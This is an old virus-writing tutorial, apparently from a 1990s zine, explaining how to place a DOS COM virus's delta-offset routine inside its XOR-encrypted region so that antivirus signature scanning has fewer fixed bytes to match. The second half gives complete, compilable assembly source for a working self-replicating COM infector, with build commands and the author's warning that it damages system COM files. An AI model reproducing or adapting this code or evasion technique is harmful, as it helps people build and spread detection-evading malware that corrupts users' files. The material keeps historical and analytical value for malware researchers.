Improve Encryption:
How To Encrypt The Delta Offset Routine
and leave the least bytes no encrypted ( PART I)
By: Doxtor L. -TI #1-

[Part II]


[Disclaimer]

        You need to know some stuff about how to infect and to encrypt a
virus. If you dont know...read some articles about encryption before to read
what is following.
             

  
[Introduction]

        In most of encrypted viruses the routine to compute the delta_offset
is out of the encrypted area. It means a scanner can use the bytes of this
routine to detect them. The least there are bytes no-encrypted, the least
amount of bytes they are left to work with. 

[The Problem]

The problem is, YOU NEED delta_offset routine in any appending virus.

                call me
        me:
                pop bp
                sub bp,offset me

This does the job for delta calculation.

        This routine has to be called in the beginning of virus. The first
obvious reason is when you want decrypt the viral part in a infected
file, the offset of beginning of this area is VARIABLE. To take in acount
this fact, most of viruses makers  call the delta_offset routine before to
decrypt the viral area. The result of doing like that is the delta_offset
routine is NO-ENCRYPTED :(.

        I want to show you a manner to avoid this. The aim of these 2 articles
is to teach you how to put delta_offset routine in encrypted area.

        The first part deals with a com infector, the second part will deal
with an exe infector.
        

        The "lame" Encrypt/Decrypt routine i consider all along these 2
articles is the one below:
        crypt:
                xor byte cs:ptr [si],al **
                inc si
                loop crypt
                ret

        cx: number of bytes to encrypt/decrypt
        si: offset of byte to encrypt/decrypt
        al: key 
        **: cs isnt necessary for com-infector


 Most 1st generation viruses look like:

[Figure1]

        Jmp crypt_part
begin_virus:
        call compute_delta_offset
               -------
        mov al,key                         ;
        mov si,crypt_part+bp               ;fill the variables needed by 
        mov cx,end_crypt_part-crypt_part   ;the crypt routine
        call crypt
    crypt_part:
        [...]
end_crypt_part:
    crypt:
        [...]
        ret
     end_virus:
               
 For other generations they look like:

[Figure2]

        Jmp begin_virus
        [...]
     begin_virus:
        Call compute_delta_offset
        [...]
        Mov al,key
        Mov si,crypt_part+bp
        Mov cx,end_crypt_part-crypt_part
        Call crypt

       (here begins encrypted area)

        [...]               

We want to get the encrypted virus looks like
(for 2nd+ generations) figure3.

[Figure3]

                Jmp begin_virus

        begin_virus:
                mov al,key
                db beh                   |the meaning of these 3 bytes 
        patch:  dw offset encrypted_area |is: mov si,offset encryted_area
                
                mov cx,end_crypt_part-crypt_part
                call crypt
       encrypted_area:
                [...]

[The Solutions]

        The first generation can have this look because at the start dos
put 0 in bp register. And from this fact its obvious you have the same
thing in next generations of virus IF we can fill up "patch" location with 
the right value in the file you are trying to infect.

        Its a easy compute.To perform it, you need just to know the size
of new host file.
 
        How do we do this? it is quite simple. When a virus goes to infect
a file, it uses:        
              
        mov ax,4202h
        xor cx,cx
        xor dx,dx  (or cwd for short)
        int 21h

        When you run this routine, you get in dx:ax the size of file
you are dealing with (BTW  dx=0 cause the target has a size <64k).

 consider this routine:

        add ax,100h+offset patch-offset begin_virus+bp
        mov word ptr [patch+bp]

(ax is filled with the size of file to infect be4 to run this routine and bp
contains delta_offset)

        It computes the right value for "patch" in the file to infect. 100h
is needed to take in count com-files begin at offset 100h

        At this point of this tutorial,I can hear some of my readers 
thinking:

"this guy want to erase the delta_offset routine and he uses it...
 gosh, this tutorial sux alot..." ;)
 
        Let me just explain something... No i dont want to erase
delta_offset routine but put it in encrypted area of virus. The later
routine also appears in encrypted area;it runs AFTER virus decrypt
encrypted area. If you put the delta_offset at the beginning of
encrypted area (not be4 but inside) all is fine :).
       
In Appendix I, I will include an example of a working virus to let you
examine this technique.

[Conclusion]
        I know com-viruses are lame but to make the things more easier I
have wanted to include the case of com-infector. For "beginners",
exe-infection is often more difficult to master. I think its more simplistic
for a beginner to understand how  a encrypted com-infector using this tech-nique
would work.
        If you dont master encrypted exe-infector I think you cant understand
the part II.  And if you plan to write a complex virus you need to know what
you are doing ;). More a program is complex more there are bugs inside :(              
                 

[Appendix I]
   
        This virus wasnt written to damage or spread but to illustrate
a technique.  Nevertheless this virus damages com-files of windows\command
directory of win95(98), so be careful! - due to ENUNS infection incompatibility
     
        * Encrypted com no-tsr virus
        * Infect all com-file in current directory
        * Cant change directory
        * Dont save time/attributes
        * Dont infect exe-file
        * Save DTA
        * Anti-lamer routine :) 
        * This virus is easily detected by most of anti-virus software   
        * No volontary destructive routine

[Compiling]

        tasm/m2 example1.asm
        tlink/t example1.obj
 
[Code Begins]

code segment
assume cs:code,ds:code,es:code
    
        org 100h          ;its a com-file
Begin:
    db 0e9h               ;skip encryption and go to
    dw crypt_part-begin-3 ;crypt_part label
    db 'V'                ;mark

Begin_virus:
    mov cx,end_crypt_part-crypt_part
    mov al,10h    
        db 0beh         
patch:                    ;mov si,?
        dw ?            
        
    call crypt 
crypt_part:
     
    call me               ;
me:                       ;compute delta_offset
        pop bp            ;this part is encrypted in 2nd+
        sub bp,offset me  ;generation of virus, of course
         
replace_4_byte:           ;restore the host

        lea si,buffer+bp  ;where to take the 4 bytes
        mov di,100h       ;where to put them
        movsw
        movsw
   
change_dta:
       
        mov ah,1ah
        lea dx,new_dta+bp  
        int 21h
       
search_file:
          
        mov ah,4eh
        xor cx,cx
        lea dx,com_mask+bp
        int 21h
        jnc open_file
        jmp restore_dta
open_file:

        mov ax,3d02h           
        lea dx,new_dta+bp+1eh
        int 21h
        
        xchg ax,bx        ;put handle of found file in bx
        
read_file:
 
        mov ah,3fh        ;read 4 first bytes of file in   
        mov cx,4          ;buffer
        lea dx,buffer+bp
        int 21h        
          
test_file:
        cmp word ptr [buffer+bp],'MZ'   ;it s a real
        je next_file                   
        cmp word ptr [buffer+bp],'ZM'   ;com_file?
        je next_file

        cmp byte ptr [buffer+bp+3],'V'  ;infected?
        je next_file          
    
go_end:
        mov ax,4202h
        xor cx,cx         ;you get ax filled 
        cwd               ;with the size of
        int 21h           ;file 
        
        push ax           ;save ax for later  

compute_patch:            
        add ax,crypt_part-begin_virus+100h    ;compute address of
        mov word ptr [patch+bp],ax            ;beginning of crypt_part
                                              ;in the file to infect 
        
        pop ax            ;restore ax   
compute_jmp:
        sub ax,3
        mov word ptr [_4_bytes+bp+1],ax
                  
move_virus:
        
        lea si,begin_virus+bp
        lea di,heap+bp
        mov cx,end_virus-begin_virus
        rep movsb
     
        lea si,(crypt_part-begin_virus)+heap+bp
        mov cx,end_crypt_part-crypt_part
        mov al,10h
        call crypt 
       
write_virus:
        mov ah,40h
        lea dx,heap+bp
        mov cx,end_virus-begin_virus
        int 21h
       
go_begin:
        mov ax,4200h
        xor cx,cx
        cwd
        int 21h
      
write_jmp:
        mov ah,40h
        lea dx,_4_bytes+bp
        mov cx,04h
        int 21h
       
        mov ah,3eh
        int 21h
       
next_file:
        mov ah,4fh
        int 21h
        jc restore_dta
        jmp open_file

       
restore_dta:
        mov ah,1ah
        mov dx,80h
        int 21h
       
return_host:
        xor ax,ax
        xor cx,cx
        cwd
        xor bp,bp
        xor si,si
        xor di,di
        mov bx,100h
        push bx
        xor bx,bx
        ret
        
        sign     db '(c)DoxtorL./TI July 1998'
        com_mask db 'goat*.com',0       ;anti-lamer routine
        _4_bytes db 0e9h,0,0,'V'
        buffer   db 0cdh,20h,90h,90h

end_crypt_part:
crypt:
        xor byte ptr [si],al
        inc si
        loop crypt
        ret
end_virus:

        new_dta db 43 dup (?)
heap:

code ends
end begin      

[Code Ends]